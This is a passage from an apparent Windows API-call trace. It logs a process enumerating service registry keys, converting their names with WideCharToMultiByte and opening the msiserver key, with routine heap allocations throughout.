BaseAddress=0x21f1a90) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.808] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.808] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.809] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.809] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.809] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0241.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.809] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0241.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0241.810] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0241.811] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0241.812] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0241.813] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0241.814] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0241.815] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0241.816] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0241.817] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0241.818] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0241.819] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0241.820] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0241.820] RegCloseKey (hKey=0x150) returned 0x0 [0241.820] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.821] RegEnumKeyW (in: 